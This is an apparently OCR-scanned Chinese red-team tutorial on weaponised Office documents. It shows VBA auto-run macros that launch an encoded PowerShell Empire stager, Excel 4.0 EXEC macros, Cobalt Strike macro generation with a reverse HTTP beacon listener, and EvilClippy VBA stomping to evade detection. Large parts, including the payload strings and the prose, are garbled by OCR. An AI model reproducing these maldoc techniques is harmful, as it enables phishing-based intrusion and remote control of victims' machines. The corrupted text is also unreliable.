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' - ' macro
| Open ~ ll£3‘ fmp
Sub Auto Open()

p
End Sub

Sub AutoOpen()

p
End Sub

Sub Document_Open()

p
End Sub

Public Function p() As Variant
Dim Ibe As String
Ibe = "powershell -noP -sta -w 1 -enc IAAKAHOAZQAyADKAPQ"

Ibe = Ibe + “AgAFSAJABSAFAARQBAACGAIGB7ADEAMABIAHSAMABIAHSAMWEY"
Ibe = Ibe + "AHSAOAB9AHSAOQBIAHSANWBIAHSAMQAXAHOAEWAYAHBAEWABAH"
Ibe = Ibe + "OAewAlAHOAewA2AHOAewAXAHOAIGAGACOAZGAGACCADAANACWA™
Ibe = Ibe + "JWBFAGMAVAANACWAJWBjAHQAaQBVAG4AQQBYACCALAANAGUAYW"
Ibe = Ibe + "BUAEKAJWASACCAeQBDACCALAANAFMAVABYAGKATgBNACCALAAN®
Ibe = Ibe + "ACWACWBZAFMAJABLAEOALGBVAEIAAQANACWAIWBPAEMALQBEAC™
Ibe = Ibe + "CALAANAESBATQBZAC4AZWBFAE4ARQANACWAIWBSACCALAANAEMA™
Ibe = Ibe + "TwBMACCALAANAGKAJIWADPACAAOWAQACQARWAWAFQAOQBKADIAPQ™
Ibe = Ibe + "AGACAAWWBUAHKACABLAFOAKAA1AHSAMQBIAHSAMABIAHSAMQB9™
Ibe = Ibe + "AHSAMWBIACIALQBGACCAVAANACWAIWBZAEMACGBPAFAAIWASAC™
The = The 4+ "rANnRMAGRAMeARAMNwA TwRI ArrAKNAnANcATAANAMrNAMARWANFA®™

XEEBET—1TEEHN PowerShell baseb4RBEMA, XU BRE T —LRXESW
H, BEEENREE\MREHITINANRREEZEINEH#HTNR, ERERE, R NIRIRE
Bl E —TMNExcel XH:
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e B7EHR .xIs (Word 97-2003) 5 Excel Macro-Enabled # I M X it

|(General)

Sub Auto_Open()
P
_End Sub

la

Sub AutoOpen ()

P
#nd Sub

Sub Document_Openi)
]
| End Sub

Public Function p() As Varianc

Dim Ibe As String

Ibe = "powershell -noP -sta =v 1 -enc I[AAKAHoAIQAYADKAPO™
= The + "AgQAFsAdABSAFAARCBAACGATIQBETADEANARSAHS ANADS AHsANwBS™
= ITbe + "AHsAOABIAHsAOQBEI AHsANvESAHs ANQAxAHOAewAy AHOAewADAH™
= Ibe + "DAewAlAHOAewAIAHOAewAxAHOATGAQACOAIGQAgACEADALRACWA™
Ibe = [be + "JwBFAGHAVAARACwAIwE ] AHQAaOEvAGY AOOBYACCAL AARAGUAY ™

TFha = Fiae | FENIFLRATuilailTalafiBe i abl? L lc i FRFLATFIBaml Ml Talie 8 if & bo @

IiE , SR AT | NBSERIREBSHET— T ESRANENEE. NRFFILISSEEER
T EMAE R | APAITAY PowerShell IS 2T | IXE3REE{R—1 Empire Shell,

441

LSSy ERL LAV L] R L) oY LEITIL-L
| SECURITY WARNING Macros have been disabled. Enable Content
Al v fe Click Enble Macros to See Space Secrets
4 a | 8 | ¢ | o | e | ¢ | 6 | H
1

Office iz BHMITRKEF(CVE-2017-11882 &CVE-2018-0802)EM .

https://myzxcg.github.io/20180921.html

BB RE: {FHExcel 4.0%#1T7ShellCode

ME—TxIsX,
Bl E— 1T Excel LTEE., AR T RERERISN"Sheet1", AEEEIT"HEAN",

BE—TEO, REFEBNEBFBANSHIRAPFTIEE., EIFE"MS Excel 4.05K"H
BE"EBE".
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EAHE—TEBA"RBI1"NIER. X2— MRV IEXRELE, JUEERHBAXLMEA
(MBMAER) . PEETEABRHAGRTUREARN TENEEETRFTHALR
=EXEC("calc.exe"), = ALERT("Hello world")fl= HALT(),

R/, RERANSE (MEAENE) , RBAT.
A 5 5 B8

=MARMEREN:

ARAB I B

REEBWInExec R 33T

=EXEC("calc.exe")
Fit & 2

R iE FAMessageBox X

=ALERT("Hello, World") 84T FF 39 3% 4B
M1 £

FriR Excel 4.0 2 45 %,

=HALT()
L CiE=Sreturnig

MRZRESNEKE

cobalt strike office B ETEARAEREM—EBvbal{il, REBAKBEF FofficeE
b, HEFPB&officeBmIEIT.,

cobalt strikei®{E

BHiicobalt strikeXT R EH:

Wi ->EMEIT -> ms office macro
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B Cobalt Strike
Strike B 1 RS
0 | SESOIETIBRE HTML Application e B

BR+$IE | Payload Generator
USB/CD AutoPlay

Windows Dropper

B R EIE AL, BIE—DMIF,

B Ms Office Macro — O X

Fplofficenima X i, igFa%m—1VBALR, & *
aL\i% ik AB|Microsoft WordghExceZiH . I ~

e | .

‘- ‘Generate \ ‘ FEED \
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B New Listener — O X

Create a listener.

g=  [office

Payload: |windows/beacon_http/reverse http  ~

F4N.: 192.168.100.3

v 8001

I- Save \

@A X

£ BvbafKiE:

J This beacon uses HTTP to check for taskings. Please provide the

domains to use for beaconing. The A record for these domains
must point to your Cobalt Strike system. An IP address is OK.
Separate each host or domain with a comma.
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A A i i . _ “
n Macro Instructions — L] X

17881 T 55 31§55 % 0¥ Microsoft WordakExcelsZ:

1. $THMicrosoft WordghExcel
2. $§§IJ m -> ﬁ =~ ng
3. F diA

&) EnmEmg

o
b
- Copy Macro |
wordiR{E
REEAMBENEANGE, EZNEFRTLERE, BENTIEETBANERFE, ABRE
FHolERHE,
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2R & UERSCR BEm Be TEEE Bs

Fa®

% PID RS BRE CPU AFE(GERN.. UAC Eflig
(8] postgres.exe 1072 I[E&EET LOCAL SE.. 00 100K AaiF
(87 postgres.exe 3616 IEEET LOCAL SE.. 00 524 K A#iiF
(¥ postgres.exe 4000 IEEET LOCAL SE... 00 408 K FiiF
(87 rdpclip.exe 10552 IE&EET Xuanlian 00 2112 K E=EH
[#7Registry _ 88 IEEET SYSTEM 00 12,260 K AftiF
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; =3 : e e
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EMER,

ERAE:

BB -—TEROVOXH, ZXG4ZBALTEXET, EEFTEREBZNRE, AT &

AR,
Sub test()
' ZvbRRERBEEMINEE, AT RERK,
End Sub

BERRBRPNARE, R7F AN fakecode.vb X,

2. ¥ EvilClippy.exe. OpenMcdf.dll (ZXHZEGitHubIi B #releasesH) .
CSEBMNTBEXMURBAFERRAREMN fakecode.vb XHKEXERB —BHZT.

EvilClippy.exe —-s fakecode.vba cs.doc

- — 5
B EEA: C:\Windows\System3Z\cmd.exe ESRESR™ >

5 Fakecode.vba cs.doc E

Lr|n]:|:||1; URBA :1:r11 in module: MHe JH WE 0

Cisllsers sunDesktopstenp?
check_windows_no_ip

& check Windows_V1.3.bat
csdoc
es_EvilClppy.doc

" Evill:lip Py exe
fakecodevba

% Openbcdidll

ATZIANEMES, EXBNREZAIMNHNEXIRXE:

https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-

assistant/
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[https://www.varonis.com/blog/adventures-in-malware-free-hacking-

part—iv/]

[https://securityoversimplicity.wordpress.com/2017/10/22/not-all-she-

wrote-part-2-rigged-office-documents—-part-1/]
[https://www.freebuf.com/column/152267.html]
[https://www.freebuf.com/column/154931.html]

[https://securityoversimplicity.wordpress.com/2017/11/23/not-all-she-

wrote-part-3-rigged-rtf-documents/]
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